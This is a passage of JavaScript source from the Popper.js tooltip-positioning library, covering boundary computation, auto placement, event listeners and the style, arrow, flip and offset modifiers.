    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
    width,
    height
  };

  return getClientRect(offset);
}

/**
 * Check if the given element is fixed or is inside a fixed parent
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {Element} customContainer
 * @returns {Boolean} answer to "isFixed?"
 */
function isFixed(element) {
  const nodeName = element.nodeName;
  if (nodeName === 'BODY' || nodeName === 'HTML') {
    return false;
  }
  if (getStyleComputedProperty(element, 'position') === 'fixed') {
    return true;
  }
  return isFixed(getParentNode(element));
}

/**
 * Finds the first parent of an element that has a transformed property defined
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} first transformed parent or documentElement
 */

function getFixedPositionOffsetParent(element) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element || !element.parentElement || isIE()) {
    return document.documentElement;
  }
  let el = element.parentElement;
  while (el && getStyleComputedProperty(el, 'transform') === 'none') {
    el = el.parentElement;
  }
  return el || document.documentElement;
}

/**
 * Computed the boundaries limits and return them
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} popper
 * @param {HTMLElement} reference
 * @param {number} padding
 * @param {HTMLElement} boundariesElement - Element used to define the boundaries
 * @param {Boolean} fixedPosition - Is in fixed position mode
 * @returns {Object} Coordinates of the boundaries
 */
function getBoundaries(popper, reference, padding, boundariesElement, fixedPosition = false) {
  // NOTE: 1 DOM access here

  let boundaries = { top: 0, left: 0 };
  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);

  // Handle viewport case
  if (boundariesElement === 'viewport') {
    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
  } else {
    // Handle other cases based on DOM element used as boundaries
    let boundariesNode;
    if (boundariesElement === 'scrollParent') {
      boundariesNode = getScrollParent(getParentNode(reference));
      if (boundariesNode.nodeName === 'BODY') {
        boundariesNode = popper.ownerDocument.documentElement;
      }
    } else if (boundariesElement === 'window') {
      boundariesNode = popper.ownerDocument.documentElement;
    } else {
      boundariesNode = boundariesElement;
    }

    const offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);

    // In case of HTML, we need a different computation
    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
      const { height, width } = getWindowSizes(popper.ownerDocument);
      boundaries.top += offsets.top - offsets.marginTop;
      boundaries.bottom = height + offsets.top;
      boundaries.left += offsets.left - offsets.marginLeft;
      boundaries.right = width + offsets.left;
    } else {
      // for all the other DOM elements, this one is good
      boundaries = offsets;
    }
  }

  // Add paddings
  padding = padding || 0;
  const isPaddingNumber = typeof padding === 'number';
  boundaries.left += isPaddingNumber ? padding : padding.left || 0;
  boundaries.top += isPaddingNumber ? padding : padding.top || 0;
  boundaries.right -= isPaddingNumber ? padding : padding.right || 0;
  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;

  return boundaries;
}

function getArea({ width, height }) {
  return width * height;
}

/**
 * Utility used to transform the `auto` placement to the placement with more
 * available space.
 * @method
 * @memberof Popper.Utils
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement, padding = 0) {
  if (placement.indexOf('auto') === -1) {
    return placement;
  }

  const boundaries = getBoundaries(popper, reference, padding, boundariesElement);

  const rects = {
    top: {
      width: boundaries.width,
      height: refRect.top - boundaries.top
    },
    right: {
      width: boundaries.right - refRect.right,
      height: boundaries.height
    },
    bottom: {
      width: boundaries.width,
      height: boundaries.bottom - refRect.bottom
    },
    left: {
      width: refRect.left - boundaries.left,
      height: boundaries.height
    }
  };

  const sortedAreas = Object.keys(rects).map(key => _extends({
    key
  }, rects[key], {
    area: getArea(rects[key])
  })).sort((a, b) => b.area - a.area);

  const filteredAreas = sortedAreas.filter(({ width, height }) => width >= popper.clientWidth && height >= popper.clientHeight);

  const computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;

  const variation = placement.split('-')[1];

  return computedPlacement + (variation ? `-${variation}` : '');
}

/**
 * Get offsets to the reference element
 * @method
 * @memberof Popper.Utils
 * @param {Object} state
 * @param {Element} popper - the popper element
 * @param {Element} reference - the reference element (the popper will be relative to this)
 * @param {Element} fixedPosition - is in fixed position mode
 * @returns {Object} An object containing the offsets which will be applied to the popper
 */
function getReferenceOffsets(state, popper, reference, fixedPosition = null) {
  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
}

/**
 * Get the outer sizes of the given element (offset size + margins)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Object} object containing width and height properties
 */
function getOuterSizes(element) {
  const window = element.ownerDocument.defaultView;
  const styles = window.getComputedStyle(element);
  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
  const result = {
    width: element.offsetWidth + y,
    height: element.offsetHeight + x
  };
  return result;
}

/**
 * Get the opposite placement of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement
 * @returns {String} flipped placement
 */
function getOppositePlacement(placement) {
  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);
}

/**
 * Get offsets to the popper
 * @method
 * @memberof Popper.Utils
 * @param {Object} position - CSS position the Popper will get applied
 * @param {HTMLElement} popper - the popper element
 * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
 * @param {String} placement - one of the valid placement options
 * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
 */
function getPopperOffsets(popper, referenceOffsets, placement) {
  placement = placement.split('-')[0];

  // Get popper node sizes
  const popperRect = getOuterSizes(popper);

  // Add position, width and height to our offsets object
  const popperOffsets = {
    width: popperRect.width,
    height: popperRect.height
  };

  // depending by the popper placement we have to compute its offsets slightly differently
  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;
  const mainSide = isHoriz ? 'top' : 'left';
  const secondarySide = isHoriz ? 'left' : 'top';
  const measurement = isHoriz ? 'height' : 'width';
  const secondaryMeasurement = !isHoriz ? 'height' : 'width';

  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
  if (placement === secondarySide) {
    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
  } else {
    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
  }

  return popperOffsets;
}

/**
 * Mimics the `find` method of Array
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function find(arr, check) {
  // use native find if supported
  if (Array.prototype.find) {
    return arr.find(check);
  }

  // use `filter` to obtain the same behavior of `find`
  return arr.filter(check)[0];
}

/**
 * Return the index of the matching object
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function findIndex(arr, prop, value) {
  // use native findIndex if supported
  if (Array.prototype.findIndex) {
    return arr.findIndex(cur => cur[prop] === value);
  }

  // use `find` + `indexOf` if `findIndex` isn't supported
  const match = find(arr, obj => obj[prop] === value);
  return arr.indexOf(match);
}

/**
 * Loop trough the list of modifiers and run them in order,
 * each of them will then edit the data object.
 * @method
 * @memberof Popper.Utils
 * @param {dataObject} data
 * @param {Array} modifiers
 * @param {String} ends - Optional modifier name used as stopper
 * @returns {dataObject}
 */
function runModifiers(modifiers, data, ends) {
  const modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));

  modifiersToRun.forEach(modifier => {
    if (modifier['function']) {
      // eslint-disable-line dot-notation
      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
    }
    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
    if (modifier.enabled && isFunction(fn)) {
      // Add properties to offsets to make them a complete clientRect object
      // we do this before each modifier to make sure the previous one doesn't
      // mess with these values
      data.offsets.popper = getClientRect(data.offsets.popper);
      data.offsets.reference = getClientRect(data.offsets.reference);

      data = fn(data, modifier);
    }
  });

  return data;
}

/**
 * Updates the position of the popper, computing the new offsets and applying
 * the new style.<br />
 * Prefer `scheduleUpdate` over `update` because of performance reasons.
 * @method
 * @memberof Popper
 */
function update() {
  // if popper is destroyed, don't perform any further update
  if (this.state.isDestroyed) {
    return;
  }

  let data = {
    instance: this,
    styles: {},
    arrowStyles: {},
    attributes: {},
    flipped: false,
    offsets: {}
  };

  // compute reference element offsets
  data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);

  // compute auto placement, store placement inside the data object,
  // modifiers will be able to edit `placement` if needed
  // and refer to originalPlacement to know the original value
  data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);

  // store the computed placement inside `originalPlacement`
  data.originalPlacement = data.placement;

  data.positionFixed = this.options.positionFixed;

  // compute the popper offsets
  data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);

  data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';

  // run the modifiers
  data = runModifiers(this.modifiers, data);

  // the first `update` will call `onCreate` callback
  // the other ones will call `onUpdate` callback
  if (!this.state.isCreated) {
    this.state.isCreated = true;
    this.options.onCreate(data);
  } else {
    this.options.onUpdate(data);
  }
}

/**
 * Helper used to know if the given modifier is enabled.
 * @method
 * @memberof Popper.Utils
 * @returns {Boolean}
 */
function isModifierEnabled(modifiers, modifierName) {
  return modifiers.some(({ name, enabled }) => enabled && name === modifierName);
}

/**
 * Get the prefixed supported property name
 * @method
 * @memberof Popper.Utils
 * @argument {String} property (camelCase)
 * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
 */
function getSupportedPropertyName(property) {
  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);

  for (let i = 0; i < prefixes.length; i++) {
    const prefix = prefixes[i];
    const toCheck = prefix ? `${prefix}${upperProp}` : property;
    if (typeof document.body.style[toCheck] !== 'undefined') {
      return toCheck;
    }
  }
  return null;
}

/**
 * Destroys the popper.
 * @method
 * @memberof Popper
 */
function destroy() {
  this.state.isDestroyed = true;

  // touch DOM only if `applyStyle` modifier is enabled
  if (isModifierEnabled(this.modifiers, 'applyStyle')) {
    this.popper.removeAttribute('x-placement');
    this.popper.style.position = '';
    this.popper.style.top = '';
    this.popper.style.left = '';
    this.popper.style.right = '';
    this.popper.style.bottom = '';
    this.popper.style.willChange = '';
    this.popper.style[getSupportedPropertyName('transform')] = '';
  }

  this.disableEventListeners();

  // remove the popper if user explicity asked for the deletion on destroy
  // do not use `remove` because IE11 doesn't support it
  if (this.options.removeOnDestroy) {
    this.popper.parentNode.removeChild(this.popper);
  }
  return this;
}

/**
 * Get the window associated with the element
 * @argument {Element} element
 * @returns {Window}
 */
function getWindow(element) {
  const ownerDocument = element.ownerDocument;
  return ownerDocument ? ownerDocument.defaultView : window;
}

function attachToScrollParents(scrollParent, event, callback, scrollParents) {
  const isBody = scrollParent.nodeName === 'BODY';
  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
  target.addEventListener(event, callback, { passive: true });

  if (!isBody) {
    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
  }
  scrollParents.push(target);
}

/**
 * Setup needed event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function setupEventListeners(reference, options, state, updateBound) {
  // Resize event listener on window
  state.updateBound = updateBound;
  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });

  // Scroll event listener on scroll parents
  const scrollElement = getScrollParent(reference);
  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
  state.scrollElement = scrollElement;
  state.eventsEnabled = true;

  return state;
}

/**
 * It will add resize/scroll events and start recalculating
 * position of the popper element when they are triggered.
 * @method
 * @memberof Popper
 */
function enableEventListeners() {
  if (!this.state.eventsEnabled) {
    this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);
  }
}

/**
 * Remove event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function removeEventListeners(reference, state) {
  // Remove resize event listener on window
  getWindow(reference).removeEventListener('resize', state.updateBound);

  // Remove scroll event listener on scroll parents
  state.scrollParents.forEach(target => {
    target.removeEventListener('scroll', state.updateBound);
  });

  // Reset state
  state.updateBound = null;
  state.scrollParents = [];
  state.scrollElement = null;
  state.eventsEnabled = false;
  return state;
}

/**
 * It will remove resize/scroll events and won't recalculate popper position
 * when they are triggered. It also won't trigger `onUpdate` callback anymore,
 * unless you call `update` method manually.
 * @method
 * @memberof Popper
 */
function disableEventListeners() {
  if (this.state.eventsEnabled) {
    cancelAnimationFrame(this.scheduleUpdate);
    this.state = removeEventListeners(this.reference, this.state);
  }
}

/**
 * Tells if a given input is a number
 * @method
 * @memberof Popper.Utils
 * @param {*} input to check
 * @return {Boolean}
 */
function isNumeric(n) {
  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
}

/**
 * Set the style to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the style to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setStyles(element, styles) {
  Object.keys(styles).forEach(prop => {
    let unit = '';
    // add unit if the value is numeric and is one of the following
    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
      unit = 'px';
    }
    element.style[prop] = styles[prop] + unit;
  });
}

/**
 * Set the attributes to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the attributes to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setAttributes(element, attributes) {
  Object.keys(attributes).forEach(function (prop) {
    const value = attributes[prop];
    if (value !== false) {
      element.setAttribute(prop, attributes[prop]);
    } else {
      element.removeAttribute(prop);
    }
  });
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} data.styles - List of style properties - values to apply to popper element
 * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The same data object
 */
function applyStyle(data) {
  // any property present in `data.styles` will be applied to the popper,
  // in this way we can make the 3rd party modifiers add custom styles to it
  // Be aware, modifiers could override the properties defined in the previous
  // lines of this modifier!
  setStyles(data.instance.popper, data.styles);

  // any property present in `data.attributes` will be applied to the popper,
  // they will be set as HTML attributes of the element
  setAttributes(data.instance.popper, data.attributes);

  // if arrowElement is defined and arrowStyles has some properties
  if (data.arrowElement && Object.keys(data.arrowStyles).length) {
    setStyles(data.arrowElement, data.arrowStyles);
  }

  return data;
}

/**
 * Set the x-placement attribute before everything else because it could be used
 * to add margins to the popper margins needs to be calculated to get the
 * correct popper offsets.
 * @method
 * @memberof Popper.modifiers
 * @param {HTMLElement} reference - The reference element used to position the popper
 * @param {HTMLElement} popper - The HTML element used as popper
 * @param {Object} options - Popper.js options
 */
function applyStyleOnLoad(reference, popper, options, modifierOptions, state) {
  // compute reference element offsets
  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);

  // compute auto placement, store placement inside the data object,
  // modifiers will be able to edit `placement` if needed
  // and refer to originalPlacement to know the original value
  const placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);

  popper.setAttribute('x-placement', placement);

  // Apply `position` to popper before anything else because
  // without the position applied we can't guarantee correct computations
  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });

  return options;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeStyle(data, options) {
  const { x, y } = options;
  const { popper } = data.offsets;

  // Remove this legacy support in Popper.js v2
  const legacyGpuAccelerationOption = find(data.instance.modifiers, modifier => modifier.name === 'applyStyle').gpuAcceleration;
  if (legacyGpuAccelerationOption !== undefined) {
    console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');
  }
  const gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;

  const offsetParent = getOffsetParent(data.instance.popper);
  const offsetParentRect = getBoundingClientRect(offsetParent);

  // Styles
  const styles = {
    position: popper.position
  };

  // Avoid blurry text by using full pixel integers.
  // For pixel-perfect positioning, top/bottom prefers rounded
  // values, while left/right prefers floored values.
  const offsets = {
    left: Math.floor(popper.left),
    top: Math.round(popper.top),
    bottom: Math.round(popper.bottom),
    right: Math.floor(popper.right)
  };

  const sideA = x === 'bottom' ? 'top' : 'bottom';
  const sideB = y === 'right' ? 'left' : 'right';

  // if gpuAcceleration is set to `true` and transform is supported,
  //  we use `translate3d` to apply the position to the popper we
  // automatically use the supported prefixed version if needed
  const prefixedProperty = getSupportedPropertyName('transform');

  // now, let's make a step back and look at this code closely (wtf?)
  // If the content of the popper grows once it's been positioned, it
  // may happen that the popper gets misplaced because of the new content
  // overflowing its reference element
  // To avoid this problem, we provide two options (x and y), which allow
  // the consumer to define the offset origin.
  // If we position a popper on top of a reference element, we can set
  // `x` to `top` to make the popper grow towards its top instead of
  // its bottom.
  let left, top;
  if (sideA === 'bottom') {
    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)
    // and not the bottom of the html element
    if (offsetParent.nodeName === 'HTML') {
      top = -offsetParent.clientHeight + offsets.bottom;
    } else {
      top = -offsetParentRect.height + offsets.bottom;
    }
  } else {
    top = offsets.top;
  }
  if (sideB === 'right') {
    if (offsetParent.nodeName === 'HTML') {
      left = -offsetParent.clientWidth + offsets.right;
    } else {
      left = -offsetParentRect.width + offsets.right;
    }
  } else {
    left = offsets.left;
  }
  if (gpuAcceleration && prefixedProperty) {
    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;
    styles[sideA] = 0;
    styles[sideB] = 0;
    styles.willChange = 'transform';
  } else {
    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties
    const invertTop = sideA === 'bottom' ? -1 : 1;
    const invertLeft = sideB === 'right' ? -1 : 1;
    styles[sideA] = top * invertTop;
    styles[sideB] = left * invertLeft;
    styles.willChange = `${sideA}, ${sideB}`;
  }

  // Attributes
  const attributes = {
    'x-placement': data.placement
  };

  // Update `data` attributes, styles and arrowStyles
  data.attributes = _extends({}, attributes, data.attributes);
  data.styles = _extends({}, styles, data.styles);
  data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);

  return data;
}

/**
 * Helper used to know if the given modifier depends from another one.<br />
 * It checks if the needed modifier is listed and enabled.
 * @method
 * @memberof Popper.Utils
 * @param {Array} modifiers - list of modifiers
 * @param {String} requestingName - name of requesting modifier
 * @param {String} requestedName - name of requested modifier
 * @returns {Boolean}
 */
function isModifierRequired(modifiers, requestingName, requestedName) {
  const requesting = find(modifiers, ({ name }) => name === requestingName);

  const isRequired = !!requesting && modifiers.some(modifier => {
    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
  });

  if (!isRequired) {
    const requesting = `\`${requestingName}\``;
    const requested = `\`${requestedName}\``;
    console.warn(`${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`);
  }
  return isRequired;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function arrow(data, options) {
  // arrow depends on keepTogether in order to work
  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {
    return data;
  }

  let arrowElement = options.element;

  // if arrowElement is a string, suppose it's a CSS selector
  if (typeof arrowElement === 'string') {
    arrowElement = data.instance.popper.querySelector(arrowElement);

    // if arrowElement is not found, don't run the modifier
    if (!arrowElement) {
      return data;
    }
  } else {
    // if the arrowElement isn't a query selector we must check that the
    // provided DOM node is child of its popper node
    if (!data.instance.popper.contains(arrowElement)) {
      console.warn('WARNING: `arrow.element` must be child of its popper element!');
      return data;
    }
  }

  const placement = data.placement.split('-')[0];
  const { popper, reference } = data.offsets;
  const isVertical = ['left', 'right'].indexOf(placement) !== -1;

  const len = isVertical ? 'height' : 'width';
  const sideCapitalized = isVertical ? 'Top' : 'Left';
  const side = sideCapitalized.toLowerCase();
  const altSide = isVertical ? 'left' : 'top';
  const opSide = isVertical ? 'bottom' : 'right';
  const arrowElementSize = getOuterSizes(arrowElement)[len];

  //
  // extends keepTogether behavior making sure the popper and its
  // reference have enough pixels in conjunction
  //

  // top/left side
  if (reference[opSide] - arrowElementSize < popper[side]) {
    data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);
  }
  // bottom/right side
  if (reference[side] + arrowElementSize > popper[opSide]) {
    data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];
  }
  data.offsets.popper = getClientRect(data.offsets.popper);

  // compute center of the popper
  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;

  // Compute the sideValue using the updated popper offsets
  // take popper margin in account because we don't have this info available
  const css = getStyleComputedProperty(data.instance.popper);
  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);
  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);
  let sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;

  // prevent arrowElement from being placed not contiguously to its popper
  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);

  data.arrowElement = arrowElement;
  data.offsets.arrow = {
    [side]: Math.round(sideValue),
    [altSide]: '' // make sure to unset any eventual altSide value from the DOM node
  };

  return data;
}

/**
 * Get the opposite placement variation of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement variation
 * @returns {String} flipped placement variation
 */
function getOppositeVariation(variation) {
  if (variation === 'end') {
    return 'start';
  } else if (variation === 'start') {
    return 'end';
  }
  return variation;
}

/**
 * List of accepted placements to use as values of the `placement` option.<br />
 * Valid placements are:
 * - `auto`
 * - `top`
 * - `right`
 * - `bottom`
 * - `left`
 *
 * Each placement can have a variation from this list:
 * - `-start`
 * - `-end`
 *
 * Variations are interpreted easily if you think of them as the left to right
 * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`
 * is right.<br />
 * Vertically (`left` and `right`), `start` is top and `end` is bottom.
 *
 * Some valid examples are:
 * - `top-end` (on top of reference, right aligned)
 * - `right-start` (on right of reference, top aligned)
 * - `bottom` (on bottom, centered)
 * - `auto-end` (on the side with more space available, alignment depends by placement)
 *
 * @static
 * @type {Array}
 * @enum {String}
 * @readonly
 * @method placements
 * @memberof Popper
 */
var placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];

// Get rid of `auto` `auto-start` and `auto-end`
const validPlacements = placements.slice(3);

/**
 * Given an initial placement, returns all the subsequent placements
 * clockwise (or counter-clockwise).
 *
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement - A valid placement (it accepts variations)
 * @argument {Boolean} counter - Set to true to walk the placements counterclockwise
 * @returns {Array} placements including their variations
 */
function clockwise(placement, counter = false) {
  const index = validPlacements.indexOf(placement);
  const arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));
  return counter ? arr.reverse() : arr;
}

const BEHAVIORS = {
  FLIP: 'flip',
  CLOCKWISE: 'clockwise',
  COUNTERCLOCKWISE: 'counterclockwise'
};

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function flip(data, options) {
  // if `inner` modifier is enabled, we can't use the `flip` modifier
  if (isModifierEnabled(data.instance.modifiers, 'inner')) {
    return data;
  }

  if (data.flipped && data.placement === data.originalPlacement) {
    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides
    return data;
  }

  const boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);

  let placement = data.placement.split('-')[0];
  let placementOpposite = getOppositePlacement(placement);
  let variation = data.placement.split('-')[1] || '';

  let flipOrder = [];

  switch (options.behavior) {
    case BEHAVIORS.FLIP:
      flipOrder = [placement, placementOpposite];
      break;
    case BEHAVIORS.CLOCKWISE:
      flipOrder = clockwise(placement);
      break;
    case BEHAVIORS.COUNTERCLOCKWISE:
      flipOrder = clockwise(placement, true);
      break;
    default:
      flipOrder = options.behavior;
  }

  flipOrder.forEach((step, index) => {
    if (placement !== step || flipOrder.length === index + 1) {
      return data;
    }

    placement = data.placement.split('-')[0];
    placementOpposite = getOppositePlacement(placement);

    const popperOffsets = data.offsets.popper;
    const refOffsets = data.offsets.reference;

    // using floor because the reference offsets may contain decimals we are not going to consider here
    const floor = Math.floor;
    const overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);

    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);
    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);
    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);
    const overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);

    const overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;

    // flip the variation if required
    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
    const flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);

    if (overlapsRef || overflowsBoundaries || flippedVariation) {
      // this boolean to detect any flip loop
      data.flipped = true;

      if (overlapsRef || overflowsBoundaries) {
        placement = flipOrder[index + 1];
      }

      if (flippedVariation) {
        variation = getOppositeVariation(variation);
      }

      data.placement = placement + (variation ? '-' + variation : '');

      // this object contains `position`, we want to preserve it along with
      // any additional property we may add in the future
      data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));

      data = runModifiers(data.instance.modifiers, data, 'flip');
    }
  });
  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function keepTogether(data) {
  const { popper, reference } = data.offsets;
  const placement = data.placement.split('-')[0];
  const floor = Math.floor;
  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
  const side = isVertical ? 'right' : 'bottom';
  const opSide = isVertical ? 'left' : 'top';
  const measurement = isVertical ? 'width' : 'height';

  if (popper[side] < floor(reference[opSide])) {
    data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];
  }
  if (popper[opSide] > floor(reference[side])) {
    data.offsets.popper[opSide] = floor(reference[side]);
  }

  return data;
}

/**
 * Converts a string containing value + unit into a px value number
 * @function
 * @memberof {modifiers~offset}
 * @private
 * @argument {String} str - Value + unit string
 * @argument {String} measurement - `height` or `width`
 * @argument {Object} popperOffsets
 * @argument {Object} referenceOffsets
 * @returns {Number|String}
 * Value in pixels, or original string if no values were extracted
 */
function toValue(str, measurement, popperOffsets, referenceOffsets) {
  // separate value from unit
  const split = str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/);
  const value = +split[1];
  const unit = split[2];

  // If it's not a number it's an operator, I guess
  if (!value) {
    return str;
  }

  if (unit.indexOf('%') === 0) {
    let element;
    switch (unit) {
      case '%p':
        element = popperOffsets;
        break;
      case '%':
      case '%r':
      default:
        element = referenceOffsets;
    }

    const rect = getClientRect(element);
    return rect[measurement] / 100 * value;
  } else if (unit === 'vh' || unit === 'vw') {
    // if is a vh or vw, we calculate the size based on the viewport
    let size;
    if (unit === 'vh') {
      size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);
    } else {
      size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);
    }
    return size / 100 * value;
  } else {
    // if is an explicit pixel unit, we get rid of the unit and keep the value
    // if is an implicit unit, it's px, and we return just the value
    return value;
  }
}

/**
 * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.
 * @function
 * @memberof {modifiers~offset}
 * @private
 * @argument {String} offset
 * @argument {Object} popperOffsets
 * @argument {Object} referenceOffsets
 * @argument {String} basePlacement
 * @returns {Array} a two cells array with x and y offsets in numbers
 */
function parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {
  const offsets = [0, 0];

  // Use height if placement is left or right and index is 0 otherwise use width
  // in this way the first offset will use an axis and the second one
  // will use the other one
  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;

  // Split the offset string to obtain a list of values and operands
  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)
  const fragments = offset.split(/(\+|\-)/).map(frag => frag.trim());

  // Detect if the offset string contains a pair of values or a single one
  // they could be separated by comma or space
  const divider = fragments.indexOf(find(fragments, frag => frag.search(/,|\s/) !== -1));

  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {
    console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');
